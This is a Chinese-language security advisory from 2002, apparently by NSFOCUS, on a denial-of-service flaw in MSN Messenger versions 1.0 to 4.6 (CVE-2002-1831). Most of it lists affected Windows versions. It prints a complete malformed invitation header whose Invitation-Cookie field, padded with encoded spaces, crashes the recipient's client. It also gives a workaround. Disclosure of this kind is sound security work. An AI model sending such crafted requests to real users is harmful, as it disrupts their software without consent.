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安全漏洞
Microsoft MSN Messenger处理畸形邀请请求拒绝服务攻击漏洞
发布日期:2002-05-24
更新日期:2002-05-28
受影响系统:
Microsoft MSN Messenger Service 1.0描述:
- Microsoft Windows NT 4.0
- Microsoft Windows 98
- Microsoft Windows 95
Microsoft MSN Messenger Service 2.0
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft MSN Messenger Service 2.2
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft MSN Messenger Service 3.0
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft MSN Messenger Service 3.6
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft MSN Messenger Service 4.0
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft MSN Messenger Service 4.5
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft MSN Messenger Service 4.6
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
BUGTRAQ ID: 4827
CVE(CAN) ID: CVE-2002-1831
Microsoft's MSN Messenger是一款基于Windows系统的即时信息交互客户端程序。
Microsoft's MSN Messenger在处理不正确邀请请求时存在漏洞,可导致远程攻击者进行拒绝服务攻击。
攻击者可以通过发送不正常的邀请请求,如在头信息中的Invitation-Cookie字段包含多个HTML编码的空格(%20)字符,可以导致远程用户的MSN messenger崩溃。
<*来源:Beck Mr.R (bug_hunt@hotmail.com)
链接:http://archives.neohapsis.com/archives/bugtraq/2002-05/0216.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
发送如下的头信息作为邀请请求可导致远程用户的MSN messenger崩溃:
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8
Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 不要在Microsoft MSN上随便接受别人的邀请请求。
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/technet/security/
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